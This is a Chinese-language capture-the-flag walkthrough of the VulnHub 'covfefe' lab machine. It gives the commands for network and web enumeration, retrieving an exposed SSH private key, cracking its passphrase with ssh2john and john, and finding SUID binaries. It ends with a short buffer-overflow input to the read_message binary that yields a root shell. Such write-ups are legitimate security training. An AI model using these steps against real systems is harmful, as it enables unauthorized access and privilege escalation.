综合实战第一章
私钥泄露实战
环境准备
本次环境使用的是vulnhub靶场里面的covfefe
靶场下载地址:https://www.vulnhub.com/entry/covfefe-1,199/
攻击机:kali 192.168.3.134
靶机:covfefe 192.168.3.152
信息搜集
先确定目标靶机
扫描整个网段
nmap -sT 192.168.3.0/24
找到目标,发现有三个端口,22 80 31337
先访问80端口
没啥东西,访问31337端口尝试一下
啥也没有,使用工具dirb扫描一下
DIRB是一个Web内容扫描程序。它查找现有的(和/或隐藏的)Web对象。它基本上是通过对Web服务器发起基于字典的攻击并分析响应来工作的。
dirb http://192.168.3.152:31337
打开robots.txt 查看一下
访问一下/taxes
第一个flag就得到了
ssh私钥登录
访问.ssh文件
说明私钥泄露了
然后把这三个文件下载下来
/.ssh/id_rsa /.ssh/authorized_keys /.ssh/id_rsa.pub
给这三个文件加点权限
chmod 600 id_rsa
然后在authorized_keys里发现有个用户名叫simon的
尝试使用ssh登录
ssh -i id_rsa simon@192.168.3.152
发需要一个密码
解密ssh秘钥信息
利用ssh2john将id_rsa秘钥信息转换为john可以识别的信息
python /usr/share/john/ssh2john.py id_rsa > rsacrack
然后使用字典破解
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
发现密码是starwars
尝试登录
登录成功
提权
我们在root目录下发现有flag.txt,但是无法读取,因此需要提权
首先查找能够用root权限去执行哪些东西
find / -perm -4000 2>/dev/null
发现root里面有个read_message.c
文件
接下来审计这个文件
在注释中发现flag2
缓冲区溢出
对代码进行审计
我们发现输入的值是保存在buf里,如果这个值的前5个字是Simon,就返回正确
因此输入的值超过20个,20个之后的就会被execve调用,就可以实现缓冲区溢出
获得flag
SimonAAAAAAAAAAAAAAA/bin/sh
pwd
whoami
cat flag.txt
成功!